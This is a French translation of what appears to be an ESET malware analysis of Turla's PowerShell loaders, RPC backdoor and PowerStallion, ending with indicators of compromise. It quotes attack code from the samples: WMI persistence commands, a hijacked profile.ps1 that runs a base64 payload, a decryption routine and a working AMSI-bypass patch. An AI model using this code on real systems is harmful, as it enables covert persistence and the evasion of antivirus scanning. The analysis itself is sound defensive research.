Turla, aussi connu sous le nom de Snake, est un tristement célèbre groupe d'espionnage connu pour ses logiciels malveillants complexes. Pour confondre la détection, ses opérateurs ont récemment commencé à utiliser des scripts PowerShell qui permettent le chargement et l'exécution directs en mémoire des exécutables et des bibliothèques de logiciels malveillants. Cela leur permet de contourner la détection qui peut se déclencher lorsqu'un exécutable malveillant est déposé sur le disque.
On croit que Turla serait en activité depuis au moins 2008, date à laquelle elle a réussi à faire subir à l’armée américaine une brèche de données. Plus récemment, elle a été impliquée dans des attaques majeures contre le ministère allemand des Affaires étrangères et l'armée française.
Ce n'est pas la première fois que Turla utilise des chargeurs en mémoire PowerShell pour augmenter ses chances de contourner les produits de sécurité. En 2018, Kaspersky Labs publiait un rapport analysant un chargeur Turla PowerShell basé sur le projet open-source Posh-SecMod. Cependant, il comprenait plusieurs bogues et conduisait à des plantages.
Après quelques mois, Turla a amélioré ces scripts et les utilise maintenant pour charger un large éventail de logiciels malveillants personnalisés à partir de son arsenal traditionnel.
Les victimes sont habituelles pour Turla. Nous avons identifié plusieurs entités diplomatiques en Europe de l'Est qui ont été compromises en utilisant ces écritures. Cependant, il est probable que les mêmes scripts soient utilisés plus globalement contre de nombreuses cibles Turla traditionnelles en Europe occidentale et au Moyen-Orient. Ainsi, ce billet de blog a pour but d'aider les défenseurs à contrer ces scripts PowerShell. Nous présenterons également diverses charges utiles, y compris une porte dérobée basée sur RPC et une porte dérobée utilisant OneDrive comme serveur de commande et de contrôle (C&C).
Loadeur PowerShell
Le chargeur PowerShell comporte trois étapes principales : la persistance, le déchiffrage et le chargement en mémoire de l'exécutable ou de la bibliothèque intégrée.
Persistance
Les scripts PowerShell ne sont pas de simples droppers; ils amènent la persistance sur le système car ils ne chargent régulièrement en mémoire que les exécutables intégrés. Nous avons vu des opérateurs Turla utiliser deux méthodes de persistance :
- Un abonnement à Windows Management Instrumentation (WMI)
- Modification du profil PowerShell (fichier ps1).
Windows Management Instrumentation
Dans le premier cas, les attaquants créent deux filtres d'événements WMI et deux consommateurs d'événements WMI. Les consommateurs sont simplement des lignes de commande lançant des commandes PowerShell codées en base64 qui chargent un gros script PowerShell stocké dans le registre Windows. La figure 1 montre comment la persistance est établie.
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{name='Syslog Consumer';CommandLineTemplate="$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh";RunInteractively='false'};
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'"| Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'Log Adapter'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='Log Adapter Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'"| Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'AD Bridge'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='AD Bridge Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};
Figure 1. Persistance utilisant WMI
Ces événements se dérouleront respectivement à 15:30:40 et lorsque le temps de fonctionnement du système est compris entre 300 et 400 secondes. La variable $HL39fjh comprend la commande PowerShell codée en base64 présentée à la Figure 2. Il lit la clé de registre Windows où la charge utile chiffrée est stockée et contient le mot de passe et le sel requis pour déchiffrer la charge utile.
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex
Figure 2. Commande de PowerShell WMI consommateur
Enfin, le script stocke la charge utile chiffrée dans le registre Windows. Notez que les attaquants semblent utiliser un emplacement de registre différent pour chaque organisation. Il ne s'agit donc pas d'un indicateur utile pour détecter des intrusions similaires.
Profile.ps1
Dans ce dernier cas, les attaquants modifient le profil PowerShell. Selon la documentation de Microsoft :
Un profil PowerShell est un script qui s'exécute au démarrage de PowerShell. Vous pouvez utiliser le profil comme script de connexion pour personnaliser l'environnement. Vous pouvez ajouter des commandes, alias, fonctions, variables, snap-ins, modules et lecteurs PowerShell.
La figure 3 montre un profil PowerShell modifié par Turla.
try
{
$SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} | % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
if ("$SystemProc" -ne "")
{
$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append;
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null;
kill $PID;
}
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}
Figure 3. Fichier profil.ps1 piraté
La commande PowerShell codée en base64 est très similaire à celle utilisée par les consommateurs WMI.
Déchiffrage
La charge utile stockée dans le registre Windows est un autre script PowerShell. Il est généré à l'aide du script open-source Out-EncryptedScript.ps1 du framework de test d’intrusion PowerSploit. De plus, les noms des variables sont randomisés pour obscurcir le script, comme le montre la figure 4.
$GSP540cd = "<base64 encoded + encrypted payload>";
$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");
$STD33abh = [Convert]::FromBase64String($GSP540cd);
$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);
[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);
$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);
$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);
$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);
$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);
$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);
$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);
$DCR12ffg.Close();
$WG731ff.Close();
$EN594ca.Clear();
return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);
Figure 4. Routine de déchiffrage
La charge utile est déchiffrée à l'aide de l'algorithme 3DES. Le vecteur d'initialisation, PINGQXOMQFTZGDZX dans cet exemple, est différent pour chaque échantillon. La clé et le sel sont également différents pour chaque script et ne sont pas stockés dans le script, mais seulement dans le filtre WMI ou dans le fichier profile.ps1.
Chargeur PE
La charge utile déchiffrée à l'étape précédente est un chargeur réfléchissant PowerShell. Il est basé sur le script Invoke-ReflectivePEInjection.ps1 du même framework PowerSploit. L'exécutable est codé en dur dans le script et est chargé directement dans la mémoire d'un processus choisi au hasard qui est déjà exécuté sur le système.
Dans certains échantillons, les attaquants spécifient une liste d'exécutables dans lesquels le binaire ne doit pas être injecté, comme le montre la figure 5.
$IgnoreNames = @("smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe");
Figure 5. Exemple d’une liste des procédés exclus
Notons que les noms avp.exe, avpsus.exe, klnagent.exe et vapm.exe font référence aux exécutables Kaspersky Labs. Il semble que les opérateurs Turla veulent vraiment éviter d'injecter leurs logiciels malveillants dans les logiciels Kaspersky.
Contournements de l'AMSI
Dans certains échantillons déployés depuis mars 2019, les développeurs de Turla ont modifié leurs scripts PowerShell afin de contourner l’Antimalware Scan Interface (AMSI). Il s'agit d'une interface permettant à toute application Windows de s'intégrer avec le produit anti logiciel malveillant installé. Celui-ci est particulièrement utile pour PowerShell et les macros.
Ils n'ont pas trouvé de nouveau pontage mais ont réutilisé une technique présentée à Black Hat Asia 2018 dans l'exposé The Rise and Fall of AMSI. Il s'agit du patch en mémoire du début de la fonction AmsiScanBuffer dans la bibliothèque msi.dll.
Le script PowerShell charge un exécutable.NET pour récupérer l'adresse d’AmsiScanBuffer. Ensuite, il appelle VirtualProtect, afin d’autoriser l'écriture à l'adresse récupérée.
Enfin, le patch se fait directement dans le script PowerShell comme le montre la Figure 6. Il modifie le début de AmsiScanBuffer pour toujours retourner 1 (AMSI_RESULT_NOT_DETECTED). Ainsi, le produit anti logiciel malveillant ne recevra pas le buffer, prévenant ainsi toute analyse.
$ptr = [Win32]::FindAmsiFun();
if($ptr -eq 0)
{
Write-Host "protection not found"
}
else
{
if([IntPtr]::size -eq 4)
{
Write-Host "x32 protection detected"
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18;
$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
}
else
{
Write-Host "x64 protection detected"
$buf = New-Object Byte[] 6
$buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3; #mov eax, 1 ;ret;
$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)
}
}
Figure 6. Mise à jour de la fonction d'AmsiScanBuffer
Payloads
Les scripts PowerShell que nous avons présentés sont des composants génériques utilisés pour charger diverses charges utiles, tels qu'une backdoor (ou porte dérobée) RPC et une backdoor PowerShell.
Backdoor RPC
Turla a développé toute une série de portes dérobées en s'appuyant sur le protocole RPC. Ces portes dérobées sont utilisées pour effectuer des mouvements latéraux et prendre le contrôle d'autres machines du réseau local sans dépendre d'un serveur C&C externe.
Les fonctionnalités implémentées sont assez simples : téléchargement de fichiers, téléchargement de fichiers et exécution de commandes via cmd.exe ou PowerShell. Cependant, le logiciel malveillant prend également en charge l'ajout de plugins.
Cette porte dérobée RPC est divisée en deux composants : un serveur et un client. Un opérateur utilisera le composant client pour exécuter des commandes sur une autre machine où le composant serveur existe, comme le résume la Figure 7.
Par exemple, l'échantillon identifié par le hachage SHA-1 suivant EC54EF8D79BF30B63C5249AF7A8A3C652595B923 est une version client. Ce composant ouvre le pipe nommé \\pipe\\atctl avec la séquence de protocole ncacn_np via la fonction RpcStringBindingComposeW. L'échantillon peut alors envoyer des commandes en appelant la fonction NdrClientCall2. La procédure exportée HandlerW, responsable de l'analyse des arguments, montre qu'il est également possible d'essayer de se faire passer pour un token anonyme ou de voler le token de processus d'un autre pour l'exécution d'une commande.
Son homologue serveur s'occupe du levage des charges lourdes et met en œuvre les différentes commandes. Il vérifie d'abord si la valeur de la clé du registre HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes contient atctl. Si c'est le cas, le serveur définit le descripteur de sécurité sur l'objet pipe à "S:(ML;;NW;;;S-1-16-0)” via la fonction SetSecurityInfo. Cela rendra l’objet pipe accessible à tous (niveau d'intégrité non fiable/anonyme).
L'image suivante montre le descripteur de stub MIDL correspondant ainsi que la syntaxe et l'ID d'interface similaires.
Comme mentionné précédemment, cette porte dérobée supporte également les plugins de chargement. Le serveur crée un thread qui recherche les fichiers correspondant au modèle lPH*.dll suivant. Si un tel fichier existe, il est chargé et sa fonction d'exportation ModuleStart est appelée. Parmi les différents plugins que nous avons localisés jusqu'à présent, il est possible de voler des fichiers récents et des fichiers de clés USB.
De nombreuses variantes de cette porte dérobée RPC sont utilisées dans la nature. Parmi certains d'entre eux, nous avons vu des proxies locaux (utilisant upnprpc comme terminal et ncalrpc comme séquence de protocole) et des versions plus récentes intégrant PowerShellRunner pour exécuter des scripts directement sans utiliser powershell.exe.
Serveur Spoof RPC
Au cours de nos recherches, nous avons également découvert un exécutable portable avec le chemin pdb intégré C:\Users\Devel\source\repos\RPCSpoofer\x64\Release_Win2016_10\RPCSpoofServerInstall.pdb(SHA-1: 9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57).
Le but principal de cet utilitaire est de récupérer la configuration RPC d'un processus qui a enregistré une interface. Pour trouver ce type de processus, il itère à travers la table TCP (via la fonction GetTcpTable2) jusqu'à ce qu'il trouve le PID du processus qui a ouvert un port spécifique, ou récupère le PID du processus qui a ouvert un tube nommé spécifique. Une fois ce PID trouvé, cet utilitaire lit la mémoire du processus distant et tente de récupérer l'interface RPC enregistrée. Le code pour cela, vu dans la Figure 9, semble extrait de ce dépôt Github.
Au début, nous n'étions pas certains de la façon dont l'information récupérée était utilisée, mais un autre échantillon (SHA-1: B948E25D061039D64115CFDE74D2FF4372E83765) nous a aidé à comprendre. Comme le montre la Figure 10, cet exemple récupère l'interface RPC, désactive l'indicateur RPC_IF_ALLOW_SECURE_ONLY, et patche la « table de répartition » en mémoire en utilisant la fonction WriteProcessMemory. Ces opérations permettraient à l'échantillon d'ajouter ses fonctions RPC à une interface RPC déjà existante. Nous croyons qu'il est plus discret de réutiliser une interface RPC existante que d'en créer une personnalisée.
PowerStallion
PowerStallion est une porte dérobée PowerShell légère utilisant Microsoft OneDrive, un service de stockage dans le cloud, comme serveur C&C. Les informations d'accès sont codées en dur au début du script, comme l’indique la figure 11.
Il est intéressant de noter que les opérateurs Turla ont utilisé à nouveau le fournisseur d'email gratuit GMX, comme c’était le cas avec la backdoor Outlook Backdoor et dans LightNeuron. Ils ont également utilisé le nom d'un employé réel de l'organisation ciblée dans l'adresse électronique.
Ensuite, il utilise lacommande net use pour se connecter au lecteur réseau. Il vérifie ensuite, en boucle, comme le montre la figure 12, si une commande est disponible. Cette porte dérobée ne peut exécuter que des scripts PowerShell supplémentaires. Il écrit les résultats de la commande dans un autre sous-dossier OneDrive et les crypte avec la touche XOR 0xAA.
Un autre artefact intéressant est que le script modifie dans cet exemple les temps de modification, d'accès et de création (MAC) du fichier journal local pour correspondre aux temps du fichier légitime desktop.ini, comme le montre la Figure 13.
Nous pensons que cette porte dérobée est un outil d'accès de récupération dans le cas où les portes dérobées principales de Turla, telles que Carbon ou Gazer, sont nettoyées et que les opérateurs ne peuvent plus accéder aux ordinateurs compromis. Nous avons vu des opérateurs utiliser cette backdoor aux fins suivantes :
- Surveillance des logs anti logiciels malveillants.
- Surveillance de la liste des processus Windows.
- Installation de ComRAT version 4, l'une des portes dérobées du deuxième étage Turla.
Conclusion
Dans un billet publié en 2018, nous avions prédit que Turla utiliserait de plus en plus d'outils génériques. Cette nouvelle étude confirme nos prévisions et montre que le groupe Turla n'hésite pas à utiliser des cadres de tests d’intrusion open-source.
Toutefois, cela n'empêche pas d'attribuer de telles attaques à Turla. Les attaquants ont tendance à configurer ou modifier ces outils open-source pour mieux répondre à leurs besoins. Il est donc encore possible de séparer différents groupes d'activités.
Enfin, l'utilisation d'outils open-source ne signifie pas que Turla a cessé d'utiliser ses outils personnalisés. Les charges utiles fournies par les scripts PowerShell, la porte dérobée RPC et PowerStallion, sont en fait très personnalisées. Notre récente analyse de Turla LightNeuron est une preuve supplémentaire que ce groupe développe encore des logiciels malveillants complexes et personnalisés.
Nous continuerons à suivre les nouvelles activités de Turla et publierons des informations pertinentes sur notre blog. Pour toute demande de renseignements, contactez-nous à l'adresse threatintel@eset.com. Des indicateurs de compromission peuvent également être trouvés sur notre GitHub.
Indicateurs de compromission (IoCs)
Hashes
SHA-1 hash | Description | ESET detection name |
---|---|---|
50C0BF9479EFC93FA9CF1AA99BDCA923273B71A1 | PowerShell loader with encrypted payload | PowerShell/Turla.T |
EC54EF8D79BF30B63C5249AF7A8A3C652595B923 | RPC backdoor (client) | Win64/Turla.BQ |
9CDF6D5878FC3AECF10761FD72371A2877F270D0 | RPC backdoor (server) | Win64/Turla.BQ |
D3DF3F32716042404798E3E9D691ACED2F78BDD5 | File exfiltration RPC plugin | Win32/Turla.BZ |
9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57 | RPCSpoofServerInstaller | Win64/Turla.BS |
B948E25D061039D64115CFDE74D2FF4372E83765 | RPC interface patcher | Win64/Turla.BR |
Noms de fichier
- Composants RPC
- %PUBLIC%\iCore.dat (fichiers log, XOR 0x55 1 bit)
- \\pipe\\atctl (nom de pipe)
- PowerStallion
- msctx.ps1
- C:\Users\Public\Documents\desktop.db
Clés de registre
- • Composants RPC
- HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes contains atctl
MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1086 | PowerShell | The loaders are written in PowerShell. Some RPC components can execute PowerShell commands. |
Persistence | T1084 | Windows Management Instrumentation Event Subscription | The PowerShell loaders use WMI for persistence. |
Defense Evasion | T1027 | Obfuscated Files or Information | The RPC backdoor and PowerStallion encrypt the log file. |
T1140 | Deobfuscate/Decode Files or Information | The PowerShell loaders decrypt the embedded payload. | |
T1055 | Process Injection | The PowerShell loaders inject the payload into a remote process. | |
T1099 | Timestomp | PowerStallion modifies the timestamps of its log file. | |
Discovery | T1083 | File and Directory Discovery | The RPC plugin gathers file and directory information. |
T1120 | Peripheral Device Discovery | The RPC plugin monitors USB drives. | |
T1012 | Query Registry | The server component of the RPC backdoor queries the registry for NullSessionPipes. | |
T1057 | Process Discovery | PowerStallion sent the list of running processes. | |
Collection | T1005 | Data from Local System | The RPC plugin collects recent files from the local file system. |
T1025 | Data from Removable Media | The RPC plugin collects files from USB drives. | |
Command and Control | T1071 | Standard Application Layer Protocol | The RPC backdoor uses RPC and PowerStallion uses OneDrive via SMB. |
Exfiltration | T1041 | Exfiltration Over Command and Control Channel | PowerStallion exfiltrates information through the C&C channel. |